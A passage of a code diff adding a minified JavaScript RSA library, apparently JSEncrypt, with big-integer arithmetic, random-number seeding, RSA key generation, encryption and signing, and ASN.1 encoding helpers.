(s.addTo(this, s), o.subTo(e, o)), s.rShiftTo(1, s)) : o.isEven() || o.subTo(e, o), o.rShiftTo(1, o); + for (; n.isEven();) n.rShiftTo(1, n), i ? (h.isEven() && a.isEven() || (h.addTo(this, h), a.subTo(e, a)), h.rShiftTo(1, h)) : a.isEven() || a.subTo(e, a), a.rShiftTo(1, a); + r.compareTo(n) >= 0 ? (r.subTo(n, r), i && s.subTo(h, s), o.subTo(a, o)) : (n.subTo(r, n), i && h.subTo(s, h), a.subTo(o, a)) + } + return 0 != n.compareTo(t.ONE) ? t.ZERO : a.compareTo(e) >= 0 ? a.subtract(e) : a.signum() < 0 ? (a.addTo(e, a), a.signum() < 0 ? a.add(e) : a) : a + }, t.prototype.pow = function (t) { + return this.exp(t, new O) + }, t.prototype.gcd = function (t) { + var e = this.s < 0 ? this.negate() : this.clone(), i = t.s < 0 ? t.negate() : t.clone(); + if (e.compareTo(i) < 0) { + var r = e; + e = i, i = r + } + var n = e.getLowestSetBit(), s = i.getLowestSetBit(); + if (s < 0) return e; + for (n < s && (s = n), s > 0 && (e.rShiftTo(s, e), i.rShiftTo(s, i)); e.signum() > 0;) (n = e.getLowestSetBit()) > 0 && e.rShiftTo(n, e), (n = i.getLowestSetBit()) > 0 && i.rShiftTo(n, i), e.compareTo(i) >= 0 ? (e.subTo(i, e), e.rShiftTo(1, e)) : (i.subTo(e, i), i.rShiftTo(1, i)); + return s > 0 && i.lShiftTo(s, i), i + }, t.prototype.isProbablePrime = function (t) { + var e, i = this.abs(); + if (1 == i.t && i[0] <= x[x.length - 1]) { + for (e = 0; e < x.length; ++e) if (i[0] == x[e]) return !0; + return !1 + } + if (i.isEven()) return !1; + for (e = 1; e < x.length;) { + for (var r = x[e], n = e + 1; n < x.length && r < R;) r *= x[n++]; + for (r = i.modInt(r); e < n;) if (r % x[e++] == 0) return !1 + } + return i.millerRabin(t) + }, t.prototype.copyTo = function (t) { + for (var e = this.t - 1; e >= 0; --e) t[e] = this[e]; + t.t = this.t, t.s = this.s + }, t.prototype.fromInt = function (t) { + this.t = 1, this.s = t < 0 ? -1 : 0, t > 0 ? this[0] = t : t < -1 ? this[0] = t + this.DV : this.t = 0 + }, t.prototype.fromString = function (e, i) { + var r; + if (16 == i) r = 4; else if (8 == i) r = 3; else if (256 == i) r = 8; else if (2 == i) r = 1; else if (32 == i) r = 5; else { + if (4 != i) return void this.fromRadix(e, i); + r = 2 + } + this.t = 0, this.s = 0; + for (var n = e.length, s = !1, o = 0; --n >= 0;) { + var h = 8 == r ? 255 & +e[n] : H(e, n); + h < 0 ? "-" == e.charAt(n) && (s = !0) : (s = !1, 0 == o ? this[this.t++] = h : o + r > this.DB ? (this[this.t - 1] |= (h & (1 << this.DB - o) - 1) << o, this[this.t++] = h >> this.DB - o) : this[this.t - 1] |= h << o, (o += r) >= this.DB && (o -= this.DB)) + } + 8 == r && 0 != (128 & +e[0]) && (this.s = -1, o > 0 && (this[this.t - 1] |= (1 << this.DB - o) - 1 << o)), this.clamp(), s && t.ZERO.subTo(this, this) + }, t.prototype.clamp = function () { + for (var t = this.s & this.DM; this.t > 0 && this[this.t - 1] == t;) --this.t + }, t.prototype.dlShiftTo = function (t, e) { + var i; + for (i = this.t - 1; i >= 0; --i) e[i + t] = this[i]; + for (i = t - 1; i >= 0; --i) e[i] = 0; + e.t = this.t + t, e.s = this.s + }, t.prototype.drShiftTo = function (t, e) { + for (var i = t; i < this.t; ++i) e[i - t] = this[i]; + e.t = Math.max(this.t - t, 0), e.s = this.s + }, t.prototype.lShiftTo = function (t, e) { + for (var i = t % this.DB, r = this.DB - i, n = (1 << r) - 1, s = Math.floor(t / this.DB), o = this.s << i & this.DM, h = this.t - 1; h >= 0; --h) e[h + s + 1] = this[h] >> r | o, o = (this[h] & n) << i; + for (h = s - 1; h >= 0; --h) e[h] = 0; + e[s] = o, e.t = this.t + s + 1, e.s = this.s, e.clamp() + }, t.prototype.rShiftTo = function (t, e) { + e.s = this.s; + var i = Math.floor(t / this.DB); + if (i >= this.t) e.t = 0; else { + var r = t % this.DB, n = this.DB - r, s = (1 << r) - 1; + e[0] = this[i] >> r; + for (var o = i + 1; o < this.t; ++o) e[o - i - 1] |= (this[o] & s) << n, e[o - i] = this[o] >> r; + r > 0 && (e[this.t - i - 1] |= (this.s & s) << n), e.t = this.t - i, e.clamp() + } + }, t.prototype.subTo = function (t, e) { + for (var i = 0, r = 0, n = Math.min(t.t, this.t); i < n;) r += this[i] - t[i], e[i++] = r & this.DM, r >>= this.DB; + if (t.t < this.t) { + for (r -= t.s; i < this.t;) r += this[i], e[i++] = r & this.DM, r >>= this.DB; + r += this.s + } else { + for (r += this.s; i < t.t;) r -= t[i], e[i++] = r & this.DM, r >>= this.DB; + r -= t.s + } + e.s = r < 0 ? -1 : 0, r < -1 ? e[i++] = this.DV + r : r > 0 && (e[i++] = r), e.t = i, e.clamp() + }, t.prototype.multiplyTo = function (e, i) { + var r = this.abs(), n = e.abs(), s = r.t; + for (i.t = s + n.t; --s >= 0;) i[s] = 0; + for (s = 0; s < n.t; ++s) i[s + r.t] = r.am(0, n[s], i, s, 0, r.t); + i.s = 0, i.clamp(), this.s != e.s && t.ZERO.subTo(i, i) + }, t.prototype.squareTo = function (t) { + for (var e = this.abs(), i = t.t = 2 * e.t; --i >= 0;) t[i] = 0; + for (i = 0; i < e.t - 1; ++i) { + var r = e.am(i, e[i], t, 2 * i, 0, 1); + (t[i + e.t] += e.am(i + 1, 2 * e[i], t, 2 * i + 1, r, e.t - i - 1)) >= e.DV && (t[i + e.t] -= e.DV, t[i + e.t + 1] = 1) + } + t.t > 0 && (t[t.t - 1] += e.am(i, e[i], t, 2 * i, 0, 1)), t.s = 0, t.clamp() + }, t.prototype.divRemTo = function (e, i, r) { + var n = e.abs(); + if (!(n.t <= 0)) { + var s = this.abs(); + if (s.t < n.t) return null != i && i.fromInt(0), void (null != r && this.copyTo(r)); + null == r && (r = N()); + var o = N(), h = this.s, a = e.s, u = this.DB - F(n[n.t - 1]); + u > 0 ? (n.lShiftTo(u, o), s.lShiftTo(u, r)) : (n.copyTo(o), s.copyTo(r)); + var c = o.t, f = o[c - 1]; + if (0 != f) { + var l = f * (1 << this.F1) + (c > 1 ? o[c - 2] >> this.F2 : 0), p = this.FV / l, + g = (1 << this.F1) / l, d = 1 << this.F2, v = r.t, m = v - c, + y = null == i ? N() : i; + for (o.dlShiftTo(m, y), r.compareTo(y) >= 0 && (r[r.t++] = 1, r.subTo(y, r)), t.ONE.dlShiftTo(c, y), y.subTo(o, o); o.t < c;) o[o.t++] = 0; + for (; --m >= 0;) { + var b = r[--v] == f ? this.DM : Math.floor(r[v] * p + (r[v - 1] + d) * g); + if ((r[v] += o.am(0, b, r, m, 0, c)) < b) for (o.dlShiftTo(m, y), r.subTo(y, r); r[v] < --b;) r.subTo(y, r) + } + null != i && (r.drShiftTo(c, i), h != a && t.ZERO.subTo(i, i)), r.t = c, r.clamp(), u > 0 && r.rShiftTo(u, r), h < 0 && t.ZERO.subTo(r, r) + } + } + }, t.prototype.invDigit = function () { + if (this.t < 1) return 0; + var t = this[0]; + if (0 == (1 & t)) return 0; + var e = 3 & t; + return (e = (e = (e = (e = e * (2 - (15 & t) * e) & 15) * (2 - (255 & t) * e) & 255) * (2 - ((65535 & t) * e & 65535)) & 65535) * (2 - t * e % this.DV) % this.DV) > 0 ? this.DV - e : -e + }, t.prototype.isEven = function () { + return 0 == (this.t > 0 ? 1 & this[0] : this.s) + }, t.prototype.exp = function (e, i) { + if (e > 4294967295 || e < 1) return t.ONE; + var r = N(), n = N(), s = i.convert(this), o = F(e) - 1; + for (s.copyTo(r); --o >= 0;) if (i.sqrTo(r, n), (e & 1 << o) > 0) i.mulTo(n, s, r); else { + var h = r; + r = n, n = h + } + return i.revert(r) + }, t.prototype.chunkSize = function (t) { + return Math.floor(Math.LN2 * this.DB / Math.log(t)) + }, t.prototype.toRadix = function (t) { + if (null == t && (t = 10), 0 == this.signum() || t < 2 || t > 36) return "0"; + var e = this.chunkSize(t), i = Math.pow(t, e), r = C(i), n = N(), s = N(), o = ""; + for (this.divRemTo(r, n, s); n.signum() > 0;) o = (i + s.intValue()).toString(t).substr(1) + o, n.divRemTo(r, n, s); + return s.intValue().toString(t) + o + }, t.prototype.fromRadix = function (e, i) { + this.fromInt(0), null == i && (i = 10); + for (var r = this.chunkSize(i), n = Math.pow(i, r), s = !1, o = 0, h = 0, a = 0; a < e.length; ++a) { + var u = H(e, a); + u < 0 ? "-" == e.charAt(a) && 0 == this.signum() && (s = !0) : (h = i * h + u, ++o >= r && (this.dMultiply(n), this.dAddOffset(h, 0), o = 0, h = 0)) + } + o > 0 && (this.dMultiply(Math.pow(i, o)), this.dAddOffset(h, 0)), s && t.ZERO.subTo(this, this) + }, t.prototype.fromNumber = function (e, i, r) { + if ("number" == typeof i) if (e < 2) this.fromInt(1); else for (this.fromNumber(e, r), this.testBit(e - 1) || this.bitwiseTo(t.ONE.shiftLeft(e - 1), s, this), this.isEven() && this.dAddOffset(1, 0); !this.isProbablePrime(i);) this.dAddOffset(2, 0), this.bitLength() > e && this.subTo(t.ONE.shiftLeft(e - 1), this); else { + var n = [], o = 7 & e; + n.length = 1 + (e >> 3), i.nextBytes(n), o > 0 ? n[0] &= (1 << o) - 1 : n[0] = 0, this.fromString(n, 256) + } + }, t.prototype.bitwiseTo = function (t, e, i) { + var r, n, s = Math.min(t.t, this.t); + for (r = 0; r < s; ++r) i[r] = e(this[r], t[r]); + if (t.t < this.t) { + for (n = t.s & this.DM, r = s; r < this.t; ++r) i[r] = e(this[r], n); + i.t = this.t + } else { + for (n = this.s & this.DM, r = s; r < t.t; ++r) i[r] = e(n, t[r]); + i.t = t.t + } + i.s = e(this.s, t.s), i.clamp() + }, t.prototype.changeBit = function (e, i) { + var r = t.ONE.shiftLeft(e); + return this.bitwiseTo(r, i, r), r + }, t.prototype.addTo = function (t, e) { + for (var i = 0, r = 0, n = Math.min(t.t, this.t); i < n;) r += this[i] + t[i], e[i++] = r & this.DM, r >>= this.DB; + if (t.t < this.t) { + for (r += t.s; i < this.t;) r += this[i], e[i++] = r & this.DM, r >>= this.DB; + r += this.s + } else { + for (r += this.s; i < t.t;) r += t[i], e[i++] = r & this.DM, r >>= this.DB; + r += t.s + } + e.s = r < 0 ? -1 : 0, r > 0 ? e[i++] = r : r < -1 && (e[i++] = this.DV + r), e.t = i, e.clamp() + }, t.prototype.dMultiply = function (t) { + this[this.t] = this.am(0, t - 1, this, 0, 0, this.t), ++this.t, this.clamp() + }, t.prototype.dAddOffset = function (t, e) { + if (0 != t) { + for (; this.t <= e;) this[this.t++] = 0; + for (this[e] += t; this[e] >= this.DV;) this[e] -= this.DV, ++e >= this.t && (this[this.t++] = 0), ++this[e] + } + }, t.prototype.multiplyLowerTo = function (t, e, i) { + var r = Math.min(this.t + t.t, e); + for (i.s = 0, i.t = r; r > 0;) i[--r] = 0; + for (var n = i.t - this.t; r < n; ++r) i[r + this.t] = this.am(0, t[r], i, r, 0, this.t); + for (n = Math.min(t.t, e); r < n; ++r) this.am(0, t[r], i, r, 0, e - r); + i.clamp() + }, t.prototype.multiplyUpperTo = function (t, e, i) { + --e; + var r = i.t = this.t + t.t - e; + for (i.s = 0; --r >= 0;) i[r] = 0; + for (r = Math.max(e - this.t, 0); r < t.t; ++r) i[this.t + r - e] = this.am(e - r, t[r], i, 0, 0, this.t + r - e); + i.clamp(), i.drShiftTo(1, i) + }, t.prototype.modInt = function (t) { + if (t <= 0) return 0; + var e = this.DV % t, i = this.s < 0 ? t - 1 : 0; + if (this.t > 0) if (0 == e) i = this[0] % t; else for (var r = this.t - 1; r >= 0; --r) i = (e * i + this[r]) % t; + return i + }, t.prototype.millerRabin = function (e) { + var i = this.subtract(t.ONE), r = i.getLowestSetBit(); + if (r <= 0) return !1; + var n = i.shiftRight(r); + (e = e + 1 >> 1) > x.length && (e = x.length); + for (var s = N(), o = 0; o < e; ++o) { + s.fromInt(x[Math.floor(Math.random() * x.length)]); + var h = s.modPow(n, this); + if (0 != h.compareTo(t.ONE) && 0 != h.compareTo(i)) { + for (var a = 1; a++ < r && 0 != h.compareTo(i);) if (0 == (h = h.modPowInt(2, this)).compareTo(t.ONE)) return !1; + if (0 != h.compareTo(i)) return !1 + } + } + return !0 + }, t.prototype.square = function () { + var t = N(); + return this.squareTo(t), t + }, t.prototype.gcda = function (t, e) { + var i = this.s < 0 ? this.negate() : this.clone(), r = t.s < 0 ? t.negate() : t.clone(); + if (i.compareTo(r) < 0) { + var n = i; + i = r, r = n + } + var s = i.getLowestSetBit(), o = r.getLowestSetBit(); + if (o < 0) e(i); else { + s < o && (o = s), o > 0 && (i.rShiftTo(o, i), r.rShiftTo(o, r)); + var h = function () { + (s = i.getLowestSetBit()) > 0 && i.rShiftTo(s, i), (s = r.getLowestSetBit()) > 0 && r.rShiftTo(s, r), i.compareTo(r) >= 0 ? (i.subTo(r, i), i.rShiftTo(1, i)) : (r.subTo(i, r), r.rShiftTo(1, r)), i.signum() > 0 ? setTimeout(h, 0) : (o > 0 && r.lShiftTo(o, r), setTimeout((function () { + e(r) + }), 0)) + }; + setTimeout(h, 10) + } + }, t.prototype.fromNumberAsync = function (e, i, r, n) { + if ("number" == typeof i) if (e < 2) this.fromInt(1); else { + this.fromNumber(e, r), this.testBit(e - 1) || this.bitwiseTo(t.ONE.shiftLeft(e - 1), s, this), this.isEven() && this.dAddOffset(1, 0); + var o = this, h = function () { + o.dAddOffset(2, 0), o.bitLength() > e && o.subTo(t.ONE.shiftLeft(e - 1), o), o.isProbablePrime(i) ? setTimeout((function () { + n() + }), 0) : setTimeout(h, 0) + }; + setTimeout(h, 0) + } else { + var a = [], u = 7 & e; + a.length = 1 + (e >> 3), i.nextBytes(a), u > 0 ? a[0] &= (1 << u) - 1 : a[0] = 0, this.fromString(a, 256) + } + }, t + }(), O = function () { + function t() { + } + + return t.prototype.convert = function (t) { + return t + }, t.prototype.revert = function (t) { + return t + }, t.prototype.mulTo = function (t, e, i) { + t.multiplyTo(e, i) + }, t.prototype.sqrTo = function (t, e) { + t.squareTo(e) + }, t + }(), A = function () { + function t(t) { + this.m = t + } + + return t.prototype.convert = function (t) { + return t.s < 0 || t.compareTo(this.m) >= 0 ? t.mod(this.m) : t + }, t.prototype.revert = function (t) { + return t + }, t.prototype.reduce = function (t) { + t.divRemTo(this.m, null, t) + }, t.prototype.mulTo = function (t, e, i) { + t.multiplyTo(e, i), this.reduce(i) + }, t.prototype.sqrTo = function (t, e) { + t.squareTo(e), this.reduce(e) + }, t + }(), V = function () { + function t(t) { + this.m = t, this.mp = t.invDigit(), this.mpl = 32767 & this.mp, this.mph = this.mp >> 15, this.um = (1 << t.DB - 15) - 1, this.mt2 = 2 * t.t + } + + return t.prototype.convert = function (t) { + var e = N(); + return t.abs().dlShiftTo(this.m.t, e), e.divRemTo(this.m, null, e), t.s < 0 && e.compareTo(B.ZERO) > 0 && this.m.subTo(e, e), e + }, t.prototype.revert = function (t) { + var e = N(); + return t.copyTo(e), this.reduce(e), e + }, t.prototype.reduce = function (t) { + for (; t.t <= this.mt2;) t[t.t++] = 0; + for (var e = 0; e < this.m.t; ++e) { + var i = 32767 & t[e], + r = i * this.mpl + ((i * this.mph + (t[e] >> 15) * this.mpl & this.um) << 15) & t.DM; + for (t[i = e + this.m.t] += this.m.am(0, r, t, e, 0, this.m.t); t[i] >= t.DV;) t[i] -= t.DV, t[++i]++ + } + t.clamp(), t.drShiftTo(this.m.t, t), t.compareTo(this.m) >= 0 && t.subTo(this.m, t) + }, t.prototype.mulTo = function (t, e, i) { + t.multiplyTo(e, i), this.reduce(i) + }, t.prototype.sqrTo = function (t, e) { + t.squareTo(e), this.reduce(e) + }, t + }(), I = function () { + function t(t) { + this.m = t, this.r2 = N(), this.q3 = N(), B.ONE.dlShiftTo(2 * t.t, this.r2), this.mu = this.r2.divide(t) + } + + return t.prototype.convert = function (t) { + if (t.s < 0 || t.t > 2 * this.m.t) return t.mod(this.m); + if (t.compareTo(this.m) < 0) return t; + var e = N(); + return t.copyTo(e), this.reduce(e), e + }, t.prototype.revert = function (t) { + return t + }, t.prototype.reduce = function (t) { + for (t.drShiftTo(this.m.t - 1, this.r2), t.t > this.m.t + 1 && (t.t = this.m.t + 1, t.clamp()), this.mu.multiplyUpperTo(this.r2, this.m.t + 1, this.q3), this.m.multiplyLowerTo(this.q3, this.m.t + 1, this.r2); t.compareTo(this.r2) < 0;) t.dAddOffset(1, this.m.t + 1); + for (t.subTo(this.r2, t); t.compareTo(this.m) >= 0;) t.subTo(this.m, t) + }, t.prototype.mulTo = function (t, e, i) { + t.multiplyTo(e, i), this.reduce(i) + }, t.prototype.sqrTo = function (t, e) { + t.squareTo(e), this.reduce(e) + }, t + }(); + + function N() { + return new B(null) + } + + function P(t, e) { + return new B(t, e) + } + + var M = "undefined" != typeof navigator; + M && "Microsoft Internet Explorer" == navigator.appName ? (B.prototype.am = function (t, e, i, r, n, s) { + for (var o = 32767 & e, h = e >> 15; --s >= 0;) { + var a = 32767 & this[t], u = this[t++] >> 15, c = h * a + u * o; + n = ((a = o * a + ((32767 & c) << 15) + i[r] + (1073741823 & n)) >>> 30) + (c >>> 15) + h * u + (n >>> 30), i[r++] = 1073741823 & a + } + return n + }, S = 30) : M && "Netscape" != navigator.appName ? (B.prototype.am = function (t, e, i, r, n, s) { + for (; --s >= 0;) { + var o = e * this[t++] + i[r] + n; + n = Math.floor(o / 67108864), i[r++] = 67108863 & o + } + return n + }, S = 26) : (B.prototype.am = function (t, e, i, r, n, s) { + for (var o = 16383 & e, h = e >> 14; --s >= 0;) { + var a = 16383 & this[t], u = this[t++] >> 14, c = h * a + u * o; + n = ((a = o * a + ((16383 & c) << 14) + i[r] + n) >> 28) + (c >> 14) + h * u, i[r++] = 268435455 & a + } + return n + }, S = 28), B.prototype.DB = S, B.prototype.DM = (1 << S) - 1, B.prototype.DV = 1 << S, B.prototype.FV = Math.pow(2, 52), B.prototype.F1 = 52 - S, B.prototype.F2 = 2 * S - 52; + var j, q, L = []; + for (j = "0".charCodeAt(0), q = 0; q <= 9; ++q) L[j++] = q; + for (j = "a".charCodeAt(0), q = 10; q < 36; ++q) L[j++] = q; + for (j = "A".charCodeAt(0), q = 10; q < 36; ++q) L[j++] = q; + + function H(t, e) { + var i = L[t.charCodeAt(e)]; + return null == i ? -1 : i + } + + function C(t) { + var e = N(); + return e.fromInt(t), e + } + + function F(t) { + var e, i = 1; + return 0 != (e = t >>> 16) && (t = e, i += 16), 0 != (e = t >> 8) && (t = e, i += 8), 0 != (e = t >> 4) && (t = e, i += 4), 0 != (e = t >> 2) && (t = e, i += 2), 0 != (e = t >> 1) && (t = e, i += 1), i + } + + B.ZERO = C(0), B.ONE = C(1); + var U, K, k = function () { + function t() { + this.i = 0, this.j = 0, this.S = [] + } + + return t.prototype.init = function (t) { + var e, i, r; + for (e = 0; e < 256; ++e) this.S[e] = e; + for (i = 0, e = 0; e < 256; ++e) i = i + this.S[e] + t[e % t.length] & 255, r = this.S[e], this.S[e] = this.S[i], this.S[i] = r; + this.i = 0, this.j = 0 + }, t.prototype.next = function () { + var t; + return this.i = this.i + 1 & 255, this.j = this.j + this.S[this.i] & 255, t = this.S[this.i], this.S[this.i] = this.S[this.j], this.S[this.j] = t, this.S[t + this.S[this.i] & 255] + }, t + }(), _ = null; + if (null == _) { + _ = [], K = 0; + var z = void 0; + if (window.crypto && window.crypto.getRandomValues) { + var Z = new Uint32Array(256); + for (window.crypto.getRandomValues(Z), z = 0; z < Z.length; ++z) _[K++] = 255 & Z[z] + } + var G = 0, $ = function (t) { + if ((G = G || 0) >= 256 || K >= 256) window.removeEventListener ? window.removeEventListener("mousemove", $, !1) : window.detachEvent && window.detachEvent("onmousemove", $); else try { + var e = t.x + t.y; + _[K++] = 255 & e, G += 1 + } catch (t) { + } + }; + window.addEventListener ? window.addEventListener("mousemove", $, !1) : window.attachEvent && window.attachEvent("onmousemove", $) + } + + function Y() { + if (null == U) { + for (U = new k; K < 256;) { + var t = Math.floor(65536 * Math.random()); + _[K++] = 255 & t + } + for (U.init(_), K = 0; K < _.length; ++K) _[K] = 0; + K = 0 + } + return U.next() + } + + var J = function () { + function t() { + } + + return t.prototype.nextBytes = function (t) { + for (var e = 0; e < t.length; ++e) t[e] = Y() + }, t + }(), X = function () { + function t() { + this.n = null, this.e = 0, this.d = null, this.p = null, this.q = null, this.dmp1 = null, this.dmq1 = null, this.coeff = null + } + + return t.prototype.doPublic = function (t) { + return t.modPowInt(this.e, this.n) + }, t.prototype.doPrivate = function (t) { + if (null == this.p || null == this.q) return t.modPow(this.d, this.n); + for (var e = t.mod(this.p).modPow(this.dmp1, this.p), i = t.mod(this.q).modPow(this.dmq1, this.q); e.compareTo(i) < 0;) e = e.add(this.p); + return e.subtract(i).multiply(this.coeff).mod(this.p).multiply(this.q).add(i) + }, t.prototype.setPublic = function (t, e) { + null != t && null != e && t.length > 0 && e.length > 0 ? (this.n = P(t, 16), this.e = parseInt(e, 16)) : console.error("Invalid RSA public key") + }, t.prototype.encrypt = function (t) { + var e = function (t, e) { + if (e < t.length + 11) return console.error("Message too long for RSA"), null; + for (var i = [], r = t.length - 1; r >= 0 && e > 0;) { + var n = t.charCodeAt(r--); + n < 128 ? i[--e] = n : n > 127 && n < 2048 ? (i[--e] = 63 & n | 128, i[--e] = n >> 6 | 192) : (i[--e] = 63 & n | 128, i[--e] = n >> 6 & 63 | 128, i[--e] = n >> 12 | 224) + } + i[--e] = 0; + for (var s = new J, o = []; e > 2;) { + for (o[0] = 0; 0 == o[0];) s.nextBytes(o); + i[--e] = o[0] + } + return i[--e] = 2, i[--e] = 0, new B(i) + }(t, this.n.bitLength() + 7 >> 3); + if (null == e) return null; + var i = this.doPublic(e); + if (null == i) return null; + var r = i.toString(16); + return 0 == (1 & r.length) ? r : "0" + r + }, t.prototype.setPrivate = function (t, e, i) { + null != t && null != e && t.length > 0 && e.length > 0 ? (this.n = P(t, 16), this.e = parseInt(e, 16), this.d = P(i, 16)) : console.error("Invalid RSA private key") + }, t.prototype.setPrivateEx = function (t, e, i, r, n, s, o, h) { + null != t && null != e && t.length > 0 && e.length > 0 ? (this.n = P(t, 16), this.e = parseInt(e, 16), this.d = P(i, 16), this.p = P(r, 16), this.q = P(n, 16), this.dmp1 = P(s, 16), this.dmq1 = P(o, 16), this.coeff = P(h, 16)) : console.error("Invalid RSA private key") + }, t.prototype.generate = function (t, e) { + var i = new J, r = t >> 1; + this.e = parseInt(e, 16); + for (var n = new B(e, 16); ;) { + for (; this.p = new B(t - r, 1, i), 0 != this.p.subtract(B.ONE).gcd(n).compareTo(B.ONE) || !this.p.isProbablePrime(10);) ; + for (; this.q = new B(r, 1, i), 0 != this.q.subtract(B.ONE).gcd(n).compareTo(B.ONE) || !this.q.isProbablePrime(10);) ; + if (this.p.compareTo(this.q) <= 0) { + var s = this.p; + this.p = this.q, this.q = s + } + var o = this.p.subtract(B.ONE), h = this.q.subtract(B.ONE), a = o.multiply(h); + if (0 == a.gcd(n).compareTo(B.ONE)) { + this.n = this.p.multiply(this.q), this.d = n.modInverse(a), this.dmp1 = this.d.mod(o), this.dmq1 = this.d.mod(h), this.coeff = this.q.modInverse(this.p); + break + } + } + }, t.prototype.decrypt = function (t) { + var e = P(t, 16), i = this.doPrivate(e); + return null == i ? null : function (t, e) { + for (var i = t.toByteArray(), r = 0; r < i.length && 0 == i[r];) ++r; + if (i.length - r != e - 1 || 2 != i[r]) return null; + for (++r; 0 != i[r];) if (++r >= i.length) return null; + for (var n = ""; ++r < i.length;) { + var s = 255 & i[r]; + s < 128 ? n += String.fromCharCode(s) : s > 191 && s < 224 ? (n += String.fromCharCode((31 & s) << 6 | 63 & i[r + 1]), ++r) : (n += String.fromCharCode((15 & s) << 12 | (63 & i[r + 1]) << 6 | 63 & i[r + 2]), r += 2) + } + return n + }(i, this.n.bitLength() + 7 >> 3) + }, t.prototype.generateAsync = function (t, e, i) { + var r = new J, n = t >> 1; + this.e = parseInt(e, 16); + var s = new B(e, 16), o = this, h = function () { + var e = function () { + if (o.p.compareTo(o.q) <= 0) { + var t = o.p; + o.p = o.q, o.q = t + } + var e = o.p.subtract(B.ONE), r = o.q.subtract(B.ONE), n = e.multiply(r); + 0 == n.gcd(s).compareTo(B.ONE) ? (o.n = o.p.multiply(o.q), o.d = s.modInverse(n), o.dmp1 = o.d.mod(e), o.dmq1 = o.d.mod(r), o.coeff = o.q.modInverse(o.p), setTimeout((function () { + i() + }), 0)) : setTimeout(h, 0) + }, a = function () { + o.q = N(), o.q.fromNumberAsync(n, 1, r, (function () { + o.q.subtract(B.ONE).gcda(s, (function (t) { + 0 == t.compareTo(B.ONE) && o.q.isProbablePrime(10) ? setTimeout(e, 0) : setTimeout(a, 0) + })) + })) + }, u = function () { + o.p = N(), o.p.fromNumberAsync(t - n, 1, r, (function () { + o.p.subtract(B.ONE).gcda(s, (function (t) { + 0 == t.compareTo(B.ONE) && o.p.isProbablePrime(10) ? setTimeout(a, 0) : setTimeout(u, 0) + })) + })) + }; + setTimeout(u, 0) + }; + setTimeout(h, 0) + }, t.prototype.sign = function (t, e, i) { + var r = function (t, e) { + if (e < t.length + 22) return console.error("Message too long for RSA"), null; + for (var i = e - t.length - 6, r = "", n = 0; n < i; n += 2) r += "ff"; + return P("0001" + r + "00" + t, 16) + }((Q[i] || "") + e(t).toString(), this.n.bitLength() / 4); + if (null == r) return null; + var n = this.doPrivate(r); + if (null == n) return null; + var s = n.toString(16); + return 0 == (1 & s.length) ? s : "0" + s + }, t.prototype.verify = function (t, e, i) { + var r = P(e, 16), n = this.doPublic(r); + return null == n ? null : function (t) { + for (var e in Q) if (Q.hasOwnProperty(e)) { + var i = Q[e], r = i.length; + if (t.substr(0, r) == i) return t.substr(r) + } + return t + }(n.toString(16).replace(/^1f+00/, "")) == i(t).toString() + }, t + }(), Q = { + md2: "3020300c06082a864886f70d020205000410", + md5: "3020300c06082a864886f70d020505000410", + sha1: "3021300906052b0e03021a05000414", + sha224: "302d300d06096086480165030402040500041c", + sha256: "3031300d060960864801650304020105000420", + sha384: "3041300d060960864801650304020205000430", + sha512: "3051300d060960864801650304020305000440", + ripemd160: "3021300906052b2403020105000414" + }, W = {}; + W.lang = { + extend: function (t, e, i) { + if (!e || !t) throw new Error("YAHOO.lang.extend failed, please check that all dependencies are included."); + var r = function () { + }; + if (r.prototype = e.prototype, t.prototype = new r, t.prototype.constructor = t, t.superclass = e.prototype, e.prototype.constructor == Object.prototype.constructor && (e.prototype.constructor = e), i) { + var n; + for (n in i) t.prototype[n] = i[n]; + var s = function () { + }, o = ["toString", "valueOf"]; + try { + /MSIE/.test(navigator.userAgent) && (s = function (t, e) { + for (n = 0; n < o.length; n += 1) { + var i = o[n], r = e[i]; + "function" == typeof r && r != Object.prototype[i] && (t[i] = r) + } + }) + } catch (t) { + } + s(t.prototype, i) + } + } + }; + var tt = {}; + void 0 !== tt.asn1 && tt.asn1 || (tt.asn1 = {}), tt.asn1.ASN1Util = new function () { + this.integerToByteHex = function (t) { + var e = t.toString(16); + return e.length % 2 == 1 && (e = "0" + e), e + }, this.bigIntToMinTwosComplementsHex = function (t) { + var e = t.toString(16); + if ("-" != e.substr(0, 1)) e.length % 2 == 1 ? e = "0" + e : e.match(/^[0-7]/) || (e = "00" + e); else { + var i = e.substr(1).length; + i % 2 == 1 ? i += 1 : e.match(/^[0-7]/) || (i += 2); + for (var r = "", n = 0; n < i; n++) r += "f"; + e = new B(r, 16).xor(t).add(B.ONE).toString(16).replace(/^-/, "") + } + return e + }, this.getPEMStringFromHex = function (t, e) { + return hextopem(t, e) + }, this.newObject = function (t) { + var e = tt.asn1, i = e.DERBoolean, r = e.DERInteger, n = e.DERBitString, s = e.DEROctetString, + o = e.DERNull, h = e.DERObjectIdentifier, a = e.DEREnumerated, u = e.DERUTF8String, + c = e.DERNumericString, f = e.DERPrintableString, l = e.DERTeletexString, + p = e.DERIA5String, g = e.DERUTCTime, d = e.DERGeneralizedTime, v = e.DERSequence, + m = e.DERSet, y = e.DERTaggedObject, b = e.ASN1Util.newObject, T = Object.keys(t); + if (1 != T.length) throw"key of param shall be only one."; + var S = T[0]; + if (-1 == ":bool:int:bitstr:octstr:null:oid:enum:utf8str:numstr:prnstr:telstr:ia5str:utctime:gentime:seq:set:tag:".indexOf(":" + S + ":")) throw"undefined key: " + S; + if ("bool" == S) return new i(t[S]); + if ("int" == S) return new r(t[S]); + if ("bitstr" == S) return new n(t[S]); + if ("octstr" == S) return new s(t[S]); + if ("null" == S) return new o(t[S]); + if ("oid" == S) return new h(t[S]); + if ("enum" == S) return new a(t[S]); + if ("utf8str" == S) return new u(t[S]); + if ("numstr" == S) return new c(t[S]); + if ("prnstr" == S) return new f(t[S]); + if ("telstr" == S) return new l(t[S]); + if ("ia5str" == S) return new p(t[S]); + if ("utctime" == S) return new g(t[S]); + if ("gentime" == S) return new d(t[S]); + if ("seq" == S) { + for (var E = t[S], w = [], D = 0; D < E.length; D++) { + var x = b(E[D]); + w.push(x) + } + return new v({array: w}) + } + if ("set" == S) { + for (E = t[S], w = [], D = 0; D < E.length; D++) x = b(E[D]), w.push(x); + return new m({array: w}) + } + if ("tag" == S) { + var R = t[S]; + if ("[object Array]" === Object.prototype.toString.call(R) && 3 == R.length) { + var B = b(R[2]); + return new y({tag: R[0], explicit: R[1], obj: B}) + } + var O = {}; + if (void 0 !== R.explicit && (O.explicit = R.explicit), void 0 !== R.tag && (O.tag = R.tag), void 0 === R.obj) throw"obj shall be specified for 'tag'."; + return O.obj = b(R.obj), new y(O) 